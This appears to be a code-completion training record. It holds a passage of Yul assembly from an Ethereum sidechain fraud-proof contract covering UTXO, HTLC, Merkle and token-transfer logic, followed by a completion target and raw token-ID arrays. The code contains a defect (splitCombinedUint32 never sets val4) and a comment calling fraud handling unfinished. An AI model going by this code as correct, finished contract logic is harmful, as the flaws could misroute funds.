:= add4(add4(proofLengthWithoutType, lengthsLength, blockHeaderLength, transactionRootHeaderLength), transactionDataLength, transactionMerkleLength, transactionUTXOLength) } // Verify Proof Length Overflow verifyProofLength(proofLengthWithoutType) } // Select Transaction Data from Proof function selectTransactionUTXOProofs(proofIndex) -> utxoProofs { // Select Proof Memory Position let proofMemoryPosition := selectTransactionProof(proofIndex) // Get lengths let lengthsLength, blockHeaderLength, transactionRootHeaderLength, transactionDataLength, transactionMerkleLength, transactionUTXOLength := selectTransactionProofLengths(proofMemoryPosition) // Select Transaction Data Position utxoProofs := safeAdd(selectTransactionData(proofIndex), transactionDataLength) } function selectWithdrawalToken(proofIndex) -> withdrawalToken { withdrawalToken := load32(selectTransactionUTXOProofs(proofIndex), 0) } // select proof type function selectProofType() -> proofType { proofType := load32(Calldata_MemoryPosition, 0) // 32 byte chunk } // Select input function selectInputType(input) -> result { result := slice(input, 1) // [1 bytes] } // Select utxoID (length includes type) function selectAndVerifyInputUTXO(input, witnessesLength) -> length, utxoID, witnessReference { utxoID := mload(safeAdd(1, input)) witnessReference := slice(add3(TypeSize, 32, input), IndexSize) length := 33 // UTXO + Witness Reference // Assert Witness Index is Valid assertOrFraud(lt(witnessReference, witnessesLength), FraudCode_TransactionInputWitnessReferenceOverflow) } // Select Input Deposit Proof function selectInputDepositOwner(depositProof) -> owner { // Load owner owner := load32(depositProof, 0) } // Select Input Deposit Proof function selectInputDepositToken(depositProof) -> token { // Load owner token := load32(depositProof, 1) } // Select deposit information (length includes type) function selectAndVerifyInputDeposit(input, witnessesLength) -> length, depositHashID, witnessReference { depositHashID := mload(safeAdd(input, TypeSize)) witnessReference := slice(add3(input, TypeSize, 32), IndexSize) length := 33 // Assert deposit is not zero assertOrFraud(gt(getDeposits(depositHashID), 0), FraudCode_TransactionInputDepositZero) // Assert Witness Index is Valid assertOrFraud(lt(witnessReference, witnessesLength), FraudCode_TransactionInputDepositWitnessOverflow) } // Select HTLC information (length includes type) function selectAndVerifyInputHTLC(input, witnessesLength) -> length, utxoID, witnessReference, preImage { utxoID := mload(safeAdd(input, TypeSize)) witnessReference := slice(add3(input, TypeSize, 32), IndexSize) preImage := mload(add4(input, TypeSize, 32, IndexSize)) length := 65 // Assert valid Witness Reference (could be changed to generic witness ref overflow later..) assertOrFraud(lt(witnessReference, witnessesLength), FraudCode_TransactionHTLCWitnessOverflow) } // Select output type function selectOutputType(output) -> result { result := slice(output, TypeSize) // [1 bytes] } // Select output amounts length (length includes type) function selectAndVerifyOutputAmountLength(output) -> length { // Select amounts length past Input Type length := slice(safeAdd(TypeSize, output), 1) // Assert amounts length greater than zero assertOrFraud(gt(length, 0), FraudCode_TransactionOutputAmountLengthUnderflow) // Assert amounts length less than 33 (i.e 1 <> 32) assertOrFraud(lte(length, 32), FraudCode_TransactionOutputAmountLengthOverflow) } // Select output utxo (length includes type) function selectAndVerifyOutput(output, isChangeOutput) -> length, amount, owner, tokenID { let amountLength := selectAndVerifyOutputAmountLength(output) // Push amount amount := slice(add3(TypeSize, 1, output), amountLength) // 1 for Type, 1 for Amount Length // owner dynamic length let ownerLength := 20 // is Change output, than owner is witness reference if eq(isChangeOutput, 1) { ownerLength := 1 } // Push owner owner := slice(add4(TypeSize, 1, amountLength, output), ownerLength) // Select Token ID tokenID := slice(add4(TypeSize, 1, amountLength, safeAdd(ownerLength, output)), 4) // Assert Token ID is Valid assertOrFraud(lt(tokenID, getNumTokens()), FraudCode_TransactionOutputTokenIDOverflow) // Push Output Length (don't include type size) length := add4(TypeSize, amountLength, ownerLength, 4) } // Select output HTLC function selectAndVerifyOutputHTLC(output, witnessesLength) -> length, amount, owner, tokenID, digest, expiry, returnWitness { // Select amount length let amountLength := selectAndVerifyOutputAmountLength(output) // Select Output Details length, amount, owner, tokenID := selectAndVerifyOutput(output, False) // htlc let htlc := add3(TypeSize, output, length) // Select Digest from Output digest := mload(htlc) // Assert Token ID is Valid assertOrFraud(gt(digest, 0), FraudCode_TransactionOutputHTLCDigestZero) // Select Expiry expiry := slice(safeAdd(htlc, DigestSize), ExpirySize) // Assert Expiry is Valid assertOrFraud(gt(expiry, 0), FraudCode_TransactionOutputHTLCExpiryZero) // Set expiry, digest, witness returnWitness := slice(add3(htlc, DigestSize, ExpirySize), IndexSize) // Assert Valid Return Witness assertOrFraud(lt(returnWitness, witnessesLength), FraudCode_TransactionOutputWitnessReferenceOverflow) // Determine output length (don't include type size) length := add4(length, DigestSize, ExpirySize, IndexSize) } // Select the Transaction Leaf from Data function selectTransactionLeaf(transactionData) -> leaf { /* - Transaction Data: - inputSelector [32 bytes] - outputSelector [32 bytes] - witnessSelector [32 bytes] - transactionIndex [32 bytes] - transactionLeafData [dynamic bytes] */ // Increase memory past the 3 selectors and 1 Index leaf := safeAdd(transactionData, mul32(6)) } // Select transaction length function selectTransactionLength(transactionData) -> transactionLength { // Select transaction length transactionLength := slice(selectTransactionLeaf(transactionData), 2) } // Select Metadata Length function selectTransactionMetadataLength(transactionData) -> metadataLength { // Select metadata length 1 bytes metadataLength := slice(safeAdd(selectTransactionLeaf(transactionData), 2), 1) } // Select Witnesses (past witness length) function selectTransactionWitnesses(transactionData) -> witnessesMemoryPosition { // Compute metadata size let metadataLength := selectTransactionMetadataLength(transactionData) // Compute Metadata Size let metadataSize := safeAdd(TypeSize, safeMul(MetadataSize, metadataLength)) // Length + metadata size // Leaf + Size 2 + metadata size and witness size witnessesMemoryPosition := add4(selectTransactionLeaf(transactionData), 2, metadataSize, 1) } function selectWitnessSignature(witnesses, witnessIndex) -> signature { // Compute witness offset let witnessMemoryOffset := safeMul(witnessIndex, WitnessSize) // Compute signature signature := safeAdd(witnesses, witnessMemoryOffset) } // Note, we allow the transactionRootProducer to be a witness, witnesses length must be 1, zero fill 65 for witness data.. // Select Witnesses Signature function verifyTransactionWitness(signature, transactionHashID, outputOwner, rootProducer) { // Check if the witness is not the transaction root producer (i.e. a contract possibly) if iszero(eq(rootProducer, outputOwner)) { // Assert if witness signature is invalid! assertOrFraud(eq(outputOwner, ecrecoverPacked(transactionHashID, signature)), FraudCode_InvalidTransactionWitnessSignature) } } // Select Transaction Leaf Data function selectAndVerifyTransactionLeafData(transactionData) -> transactionHashData, // transaction hash data (unsigned transaction data) metadataSize, // total metadata chunk size (length + metadata) witnessesSize, // total witness size (length + witnesses) witnessesLength { // total witnesses length // Compute metadata size let metadataLength := selectTransactionMetadataLength(transactionData) // Assert metadata length correctness (metadata length can be zero) assertOrFraud(lte(metadataLength, TransactionLengthMax), FraudCode_TransactionMetadataLengthOverflow) // Compute Metadata Size metadataSize := safeAdd(1, safeMul(MetadataSize, metadataLength)) // Length + metadata size // Leaf + Size 2 + metadata size and witness size transactionHashData := add3(selectTransactionLeaf(transactionData), 2, metadataSize) // get witnesses length witnessesLength := slice(transactionHashData, 1) // Witness Length witnessesSize := safeAdd(1, safeMul(WitnessSize, witnessesLength)) // Length + witness size // Leaf + Size 2 + metadata size and witness size transactionHashData := safeAdd(transactionHashData, witnessesSize) } // Select Transaction Details function selectAndVerifyTransactionDetails(transactionData) -> memoryPosition, inputsLength, outputsLength, witnessesLength { let unsignedTransactionData, metadataSize, witnessesSize, witnessLength := selectAndVerifyTransactionLeafData(transactionData) // Setup length (push to new name) witnessesLength := witnessLength // Set Transaction Data Memory Position memoryPosition := unsignedTransactionData // Assert witness length assertOrFraud(gt(witnessesLength, TransactionLengthMin), FraudCode_TransactionWitnessesLengthUnderflow) assertOrFraud(lte(witnessesLength, TransactionLengthMax), FraudCode_TransactionWitnessesLengthOverflow) // Select lengths inputsLength := slice(memoryPosition, 1) // Inputs Length outputsLength := slice(safeAdd(1, memoryPosition), 1) // Outputs Length // Assert inputsLength and outputsLength minimum assertOrFraud(gt(inputsLength, TransactionLengthMin), FraudCode_TransactionInputsLengthUnderflow) assertOrFraud(gt(outputsLength, TransactionLengthMin), FraudCode_TransactionOutputsLengthUnderflow) // Assert Length overflow checks assertOrFraud(lte(inputsLength, TransactionLengthMax), FraudCode_TransactionInputsLengthOverflow) assertOrFraud(lte(outputsLength, TransactionLengthMax), FraudCode_TransactionOutputsLengthOverflow) // Assert metadata length correctness (metadata length can be zero) assertOrFraud(lte(selectTransactionMetadataLength(transactionData), inputsLength), FraudCode_TransactionMetadataLengthOverflow) // Assert selections are valid against lengths assertOrInvalidProof(lt(selectInputSelectionIndex(transactionData), inputsLength), ErrorCode_InputIndexSelectedOverflow) assertOrInvalidProof(lt(selectOutputSelectionIndex(transactionData), outputsLength), ErrorCode_OutputIndexSelectedOverflow) assertOrInvalidProof(lt(selectWitnessSelectionIndex(transactionData), witnessesLength), ErrorCode_WitnessIndexSelectedOverflow) } // Select Transaction Metadata (Past Length) function selectTransactionMetadata(transactionData) -> transactionMetadata { // Increase memory position past lengths transactionMetadata := safeAdd(selectTransactionLeaf(transactionData), 3) } // Select UTXO proof function selectAndVerifyUTXOAmountOwner(utxoProof, requestedOutputType, providedUTXOID) -> outputAmount, outputOwner, tokenID { /* - Transaction UTXO Proof(s): -- 288 bytes (same order as inputs, skip Deposit index with zero fill) - transactionHashId [32 bytes] -- bytes32 - outputIndex [32 bytes] -- padded uint8 - type [32 bytes] -- padded uint8 - amount [32 bytes] -- uint256 - owner [32 bytes] -- padded address or witness reference index uint8 - tokenID [32 bytes] -- padded uint32 - [HTLC Data]: - digest [32 bytes] -- bytes32 (or zero pad 32 bytes) - expiry [32 bytes] -- padded uint32 (or zero pad 32 bytes) - return witness index [32 bytes] -- padded uint8] (or zero pad 32 bytes) */ // Assert computed utxo id correct assertOrInvalidProof(eq(providedUTXOID, constructUTXOID(utxoProof)), ErrorCode_TransactionUTXOIDInvalid) // Compute output amount let outputType := load32(utxoProof, 2) // Assert output type is correct assertOrFraud(eq(requestedOutputType, outputType), FraudCode_TransactionUTXOType) // Assert index correctness assertOrFraud(lt(load32(utxoProof, 1), TransactionLengthMax), FraudCode_TransactionUTXOOutputIndexOverflow) // Compute output amount outputAmount := load32(utxoProof, 3) // Compute output amount outputOwner := load32(utxoProof, 4) // Compute output amount tokenID := load32(utxoProof, 5) } // // CONSTRUCTION METHODS // For the construction of cryptographic side-chain hashes // // produce block hash from block header function constructBlockHash(blockHeader) -> blockHash { /* - Block Header: - blockProducer [32 bytes] -- padded address - previousBlockHash [32 bytes] - blockHeight [32 bytes] - ethereumBlockNumber [32 bytes] - transactionRoots [64 + bytes32 array] */ // Select Transaction root Length let transactionRootsLength := load32(blockHeader, 5) // Construct Block Hash blockHash := keccak256(blockHeader, mul32(safeAdd(6, transactionRootsLength))) } // produce a transaction hash id from a proof (subtract metadata and inputs length from hash data) function constructTransactionHashID(transactionData) -> transactionHashID { /* - Transaction Data: - inputSelector [32 bytes] - outputSelector [32 bytes] - witnessSelector [32 bytes] - transactionIndex [32 bytes] - transactionLeafData [dynamic bytes] - Transaction Leaf Data: - transactionByteLength [2 bytes] (max 2048) - metadata length [1 bytes] (min 1 - max 8) - input metadata [dynamic -- 8 bytes per]: - blockHeight [4 bytes] - transactionRootIndex [1 byte] - transactionIndex [2 bytes] - output index [1 byte] - witnessLength [1 bytes] - witnesses [dynamic]: - signature [65 bytes] */ // Get entire tx length, and metadata sizes / positions let transactionLength := selectTransactionLength(transactionData) // length is first 2 if gt(transactionLength, 0) { let transactionLeaf, metadataSize, witnessesSize, witnessLength := selectAndVerifyTransactionLeafData(transactionData) // setup hash keccak256(start, length) let transactionHashDataLength := safeSub(safeSub(transactionLength, TransactionLengthSize), safeAdd(metadataSize, witnessesSize)) // create transaction ID transactionHashID := keccak256(transactionLeaf, transactionHashDataLength) } } // Construct Deposit Hash ID function constructDepositHashID(depositProof) -> depositHashID { depositHashID := keccak256(depositProof, mul32(3)) } // Construct a UTXO Proof from a Transaction Output function constructUTXOProof(transactionHashID, outputIndex, output) -> utxoProof { let isChangeOutput := False // Output Change if eq(selectOutputType(output), OutputType_Change) { isChangeOutput := True } // Select and Verify output let length, amount, owner, tokenID := selectAndVerifyOutput(output, isChangeOutput) // Encode Pack Transaction Output Data mstore(mul32(1), transactionHashID) mstore(mul32(2), outputIndex) mstore(mul32(3), selectOutputType(output)) mstore(mul32(4), amount) mstore(mul32(5), owner) // address or witness index mstore(mul32(6), tokenID) mstore(mul32(7), 0) mstore(mul32(8), 0) mstore(mul32(9), 0) // Include HTLC Data here if eq(selectOutputType(output), 2) { let unused0, unused1, unused2, unused3, digest, expiry, returnWitness := selectAndVerifyOutputHTLC(output, TransactionLengthMax) mstore(mul32(7), digest) mstore(mul32(8), expiry) mstore(mul32(9), returnWitness) } // Return UTXO Memory Position utxoProof := mul32(1) } // Construct a UTXO ID function constructUTXOID(utxoProof) -> utxoID { /* - Transaction UTXO Data: - transactionHashId [32 bytes] - outputIndex [32 bytes] -- padded uint8 - type [32 bytes] -- padded uint8 - amount [32 bytes] - owner [32 bytes] -- padded address or unit8 - tokenID [32 bytes] -- padded uint32 - [HTLC Data]: -- padded with zeros - digest [32 bytes] - expiry [32 bytes] -- padded 4 bytes - return witness index [32 bytes] -- padded 1 bytes */ // Construct UTXO ID utxoID := keccak256(utxoProof, UTXOProofSize) } // Construct the Transaction Leaf Hash function constructTransactionLeafHash(transactionData) -> transactionLeafHash { /* - Transaction Data: - inputSelector [32 bytes] - outputSelector [32 bytes] - witnessSelector [32 bytes] - transactionIndex [32 bytes] - transactionLeafData [dynamic bytes] */ // Get first two transaction length bytes let transactionLength := selectTransactionLength(transactionData) // Check if length is Zero, than don't hash! switch eq(transactionLength, 0) // Return Zero leaf hash case 1 { transactionLeafHash := 0 } // Hash as Normal Transaction default { // Start Hash Past Selections (3) and Index (1) let hashStart := selectTransactionLeaf(transactionData) // Return the transaction leaf hash transactionLeafHash := keccak256(hashStart, transactionLength) } } // Select input index function selectInputSelectionIndex(transactionData) -> inputIndex { inputIndex := load32(transactionData, 0) } // Select output index function selectOutputSelectionIndex(transactionData) -> outputIndex { outputIndex := load32(transactionData, 1) } // Select witness index function selectWitnessSelectionIndex(transactionData) -> witnessIndex { witnessIndex := load32(transactionData, 2) } // This function Must Select Block of Current Proof Being Validated!! NOT DONE YET! // Assert True or Fraud, Set Side-chain to Valid block and Stop Execution function assertOrFraud(assertion, fraudCode) { // Assert or Begin Fraud State Change Sequence if lt(assertion, 1) { // proof index let proofIndex := 0 // We are validating proof 2 if gt(mstack(Stack_ProofNumber), 0) { proofIndex := 1 } // Fraud block details let fraudBlockHeight := selectBlockHeight(selectBlockHeader(proofIndex)) let fraudBlockProducer := selectBlockProducer(selectBlockHeader(proofIndex)) let ethereumBlockNumber := selectEthereumBlockNumber(selectBlockHeader(proofIndex)) // Assert Fraud block cannot be the genesis block assertOrInvalidProof(gt(fraudBlockHeight, GenesisBlockHeight), ErrorCode_FraudBlockHeightUnderflow) // Assert fraud block cannot be finalized assertOrInvalidProof(lt(number(), safeAdd(ethereumBlockNumber, FINALIZATION_DELAY)), ErrorCode_FraudBlockFinalized) // Push old block tip let previousBlockTip := getBlockTip() // Set new block tip to before fraud block setBlockTip(safeSub(fraudBlockHeight, 1)) // Release Block Producer, If it's Permissioned // (i.e. block producer committed fraud so get them out!) // if eq(fraudBlockProducer, getBlockProducer()) { // setBlockProducer(0) // } // Log block tips (old / new) log4(0, 0, FraudEventTopic, previousBlockTip, getBlockTip(), fraudCode) // Transfer Half The Bond for this Block transfer(div(BOND_SIZE, 2), EtherToken, EtherToken, caller()) // stop execution from here stop() } } // Construct withdrawal Hash ID function constructWithdrawalHashID(transactionRootIndex, transactionLeafHash, outputIndex) -> withdrawalHashID { // Construct withdrawal Hash mstore(mul32(1), transactionRootIndex) mstore(mul32(2), transactionLeafHash) mstore(mul32(3), outputIndex) // Hash Leaf and Output Together withdrawalHashID := keccak256(mul32(1), mul32(3)) } // Construct Transactions Merkle Tree Root function constructMerkleTreeRoot(transactions, transactionsLength) -> merkleTreeRoot { // Start Memory Position at Transactions Data let memoryPosition := transactions let nodesLength := 0 let netLength := 0 let freshMemoryPosition := mstack(Stack_FreshMemory) // create base hashes and notate node count for { let transactionIndex := 0 } lt(transactionIndex, MaxTransactionsInBlock) { transactionIndex := safeAdd(transactionIndex, 1) } { // get the transaction length let transactionLength := slice(memoryPosition, TransactionLengthSize) // If Transaction length is zero and we are past first tx, stop (we are at the end) if and(gt(transactionIndex, 0), iszero(transactionLength)) { break } // if transaction length is below minimum transaction length, stop verifyTransactionLength(transactionLength) // add net length together netLength := safeAdd(netLength, transactionLength) // computed length greater than provided payload assertOrFraud(lte(netLength, transactionsLength), FraudCode_InvalidTransactionsNetLength) // store the base leaf hash (add 2 removed from here..) mstore(freshMemoryPosition, keccak256(memoryPosition, transactionLength)) // increase the memory length memoryPosition := safeAdd(memoryPosition, transactionLength) // increase fresh memory by 32 bytes freshMemoryPosition := safeAdd(freshMemoryPosition, 32) // increase number of nodes nodesLength := safeAdd(nodesLength, 1) } // computed length greater than provided payload assertOrFraud(eq(netLength, transactionsLength), FraudCode_InvalidTransactionsNetLength) // Merkleize nodes into a binary merkle tree memoryPosition := safeSub(freshMemoryPosition, safeMul(nodesLength, 32)) // setup new memory position // Create Binary Merkle Tree / Master Root Hash for {} gt(nodesLength, 0) {} { // loop through tree Heights (starting at base) if gt(mod(nodesLength, 2), 0) { // fix uneven leaf count (i.e. add a zero hash) mstore(safeAdd(memoryPosition, safeMul(nodesLength, 32)), 0) // add 0x00...000 hash leaf nodesLength := safeAdd(nodesLength, 1) // increase count for zero hash leaf freshMemoryPosition := safeAdd(freshMemoryPosition, 32) // increase fresh memory past new leaf } for { let i := 0 } lt(i, nodesLength) { i := safeAdd(i, 2) } { // loop through Leaf hashes at this height mstore(freshMemoryPosition, keccak256(safeAdd(memoryPosition, safeMul(i, 32)), 64)) // hash two leafs together freshMemoryPosition := safeAdd(freshMemoryPosition, 32) // increase fresh memory past new hash leaf } memoryPosition := safeSub(freshMemoryPosition, safeMul(nodesLength, 16)) // set new memory position nodesLength := div(nodesLength, 2) // half nodes (i.e. next height) // shim 1 to zero (stop), i.e. top height end.. if lt(nodesLength, 2) { nodesLength := 0 } } // merkle root has been produced merkleTreeRoot := mload(memoryPosition) // write new fresh memory position mpush(Stack_FreshMemory, safeAdd(freshMemoryPosition, mul32(2))) } // Construct HTLC Digest Hash function constructHTLCDigest(preImage) -> digest { // Store PreImage in Memory mstore(mul32(1), preImage) // Construct Digest Hash digest := keccak256(mul32(1), mul32(1)) } // // LOW LEVEL METHODS // // Safe Math Add function safeAdd(x, y) -> z { z := add(x, y) assertOrInvalidProof(or(eq(z, x), gt(z, x)), ErrorCode_SafeMathAdditionOverflow) // require((z = x + y) >= x, "ds-math-add-overflow"); } // Safe Math Subtract function safeSub(x, y) -> z { z := sub(x, y) assertOrInvalidProof(or(eq(z, x), lt(z, x)), ErrorCode_SafeMathSubtractionUnderflow) // require((z = x - y) <= x, "ds-math-sub-underflow"); } // Safe Math Multiply function safeMul(x, y) -> z { if gt(y, 0) { z := mul(x, y) assertOrInvalidProof(eq(div(z, y), x), ErrorCode_SafeMathMultiplyOverflow) // require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } } // Safe Math Add3, Add4 Shorthand function add3(x, y, z) -> result { result := safeAdd(x, safeAdd(y, z)) } function add4(x, y, z, k) -> result { result := safeAdd(x, safeAdd(y, safeAdd(z, k))) } // Common <= and >= function lte(v1, v2) -> result { result := or(lt(v1, v2), eq(v1, v2)) } function gte(v1, v2) -> result { result := or(gt(v1, v2), eq(v1, v2)) } // Safe Multiply by 32 function mul32(length) -> result { result := safeMul(32, length) } // function combine 3 unit32 values together into one 32 byte combined value function combineUint32(val1, val2, val3, val4) -> combinedValue { mstore(safeAdd(mul32(2), 8), val4) // 2 bytes mstore(safeAdd(mul32(2), 6), val3) // 2 bytes mstore(safeAdd(mul32(2), 4), val2) // 2 bytes mstore(safeAdd(mul32(2), 2), val1) // 2 bytes // Grab combined value combinedValue := mload(mul32(3)) } // split a combined value into three original chunks function splitCombinedUint32(combinedValue) -> val1, val2, val3, val4 { mstore(mul32(2), combinedValue) // grab values val1 := slice(safeAdd(mul32(2), 0), 2) // 2 byte slice val2 := slice(safeAdd(mul32(2), 2), 2) // 2 byte slice val3 := slice(safeAdd(mul32(2), 4), 2) // 2 byte slice val3 := slice(safeAdd(mul32(2), 6), 2) // 2 byte slice } // Transfer method helper function transfer(amount, tokenID, token, owner) { // Assert value owner / amount assertOrInvalidProof(gt(amount, 0), ErrorCode_TransferAmountUnderflow) assertOrInvalidProof(gt(owner, 0), ErrorCode_TransferOwnerInvalid) // Assert valid token ID assertOrInvalidProof(lt(tokenID, getNumTokens()), ErrorCode_TransferTokenIDOverflow) // Assert address is properly registered token assertOrInvalidProof(eq(tokenID, getTokens(token)), ErrorCode_TransferTokenAddress) // Ether Token if eq(token, EtherToken) { let result := call(owner, 21000, amount, 0, 0, 0, 0) assertOrInvalidProof(result, ErrorCode_TransferEtherCallResult) } // ERC20 "a9059cbb": "transfer(address,uint256)", if gt(token, 0) { // Construct ERC20 Transfer mstore(mul32(1), 0xa9059cbb) mstore(mul32(2), owner) mstore(mul32(3), amount) // Input Details let inputStart := safeAdd(mul32(1), 28) let inputLength := 68 // ERC20 Call let result := call(token, 400000, 0, inputStart, inputLength, 0, 0) assertOrInvalidProof(result, ErrorCode_TransferERC20Result) } } // Virtual Memory Stack Push (for an additional 32 stack positions) function mpush(pos, val) { // Memory Push mstore(add(Stack_MemoryPosition, mul32(pos)), val) } // Virtual Memory Stack Get function mstack(pos) -> result { // Memory Stack result := mload(add(Stack_MemoryPosition, mul32(pos))) } // Virtual Stack Pop function mpop(pos) { // Memory Pop mstore(add(Stack_MemoryPosition, mul32(pos)), 0) } // Memory Slice (within a 32 byte chunk) function slice(position, length) -> result { if gt(length, 32) { revert(0, 0) } // protect against overflow result := div(mload(position), exp(2, safeSub(256, safeMul(length, 8)))) } // Solidity Storage Key: mapping(bytes32 => bytes32) function mappingStorageKey(key, storageIndex) -> storageKey { mstore(32, key) mstore(64, storageIndex) storageKey := keccak256(32, 64) } // Solidity Storage Key: mapping(bytes32 => mapping(bytes32 => bytes32) function mappingStorageKey2(key, key2, storageIndex) -> storageKey { mstore(32, key) mstore(64, storageIndex) mstore(96, key2) mstore(128, keccak256(32, 64)) storageKey := keccak256(96, 64) } // load a 32 byte chunk with a 32 byte offset chunk from position function load32(memoryPosition, chunkOffset) -> result { result := mload(add(memoryPosition, safeMul(32, chunkOffset))) } // Assert True or Invalid Proof function assertOrInvalidProof(arg, errorCode) { if lt(arg, 1) { // Set Error Code In memory mstore(mul32(1), errorCode) // Revert and Return Error Code revert(mul32(1), mul32(1)) // Just incase we add a stop stop() } } // ECRecover Helper: hashPosition (32 bytes), signaturePosition (65 bytes) tight packing VRS function ecrecoverPacked(digestHash, signatureMemoryPosition) -> account { mstore(32, digestHash) // load in hash mstore(64, 0) // zero pas mstore(95, mload(signatureMemoryPosition)) mstore(96, mload(safeAdd(signatureMemoryPosition, 1))) mstore(128, mload(safeAdd(signatureMemoryPosition, 33))) let result := call(3000, 1, 0, 32, 128, 128, 32) // 4 chunks, return at 128 if eq(result, 0) { revert(0, 0) } account := mload(128) // set account } // // SETTERS & GETTER METHODS // Solidity setters and getters for side-chain state storage // // GET mapping(bytes32 => uint256) public deposits; // STORAGE 0 function getDeposits(depositHashId) -> result { result := sload(mappingStorageKey(depositHashId, Storage_deposits)) } // GET mapping(uint256 => mapping(bytes32 => bool)) publica withdrawals; // STORAGE 1 function getWithdrawals(blockHeight, withdrawalHashID) -> result { result := sload(mappingStorageKey2(blockHeight, withdrawalHashID, Storage_withdrawals)) } // SET mapping(uint256 => mapping(bytes32 => bool)) publica withdrawals; // STORAGE 1 function setWithdrawals(blockHeight, withdrawalHashID, hasWithdrawn) { sstore(mappingStorageKey2(blockHeight, withdrawalHashID, Storage_withdrawals), hasWithdrawn) } // GET mapping(bytes32 => uint256) public blockTransactionRoots; // STORAGE 2 function getBlockTransactionRoots(transactionRoot) -> result { result := sload(mappingStorageKey(transactionRoot, Storage_blockTransactionRoots)) } // GET mapping(uint256 => bytes32) public blockCommitments; // STORAGE 3 function getBlockCommitments(blockHeight) -> result { result := sload(mappingStorageKey(blockHeight, Storage_blockCommitments)) } // GET mapping(address => uint256) public tokens; // STORAGE 4 function getTokens(tokenAddress) -> result { result := sload(mappingStorageKey(tokenAddress, Storage_tokens)) // Ether token should always be zero if eq(tokenAddress, 0) { assertOrInvalidProof(eq(result, 0), ErrorCode_InvalidTokenAddress) } // ERC20 should always be above zero if gt(tokenAddress, 0) { assertOrInvalidProof(gt(result, 0), ErrorCode_InvalidTokenAddress) } } // GET uint256 public numTokens; // STORAGE 5 function getNumTokens() -> result { result := sload(Storage_numTokens) } // SET uint256 public blockTip; // STORAGE 6 function getBlockTip() -> result { result := sload(Storage_blockTip) } // SET blockTip() // STORAGE 6 function setBlockTip(tip) { sstore(Storage_blockTip, tip) } // GET address public blockProducer; // STORAGE 7 function getBlockProducer() -> result { result := sload(Storage_blockProducer) } // SET address public blockProducer // STORAGE 7 function setBlockProducer(producer) { sstore(Storage_blockProducer, producer) } } } }
ProofType_InvalidTransactionDoubleSpend
case 4 {
12,672,706
[ 1, 4625, 348, 7953, 560, 30, 225, 1186, 792, 559, 67, 1941, 3342, 5265, 27223, 203, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 648, 1059, 288, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 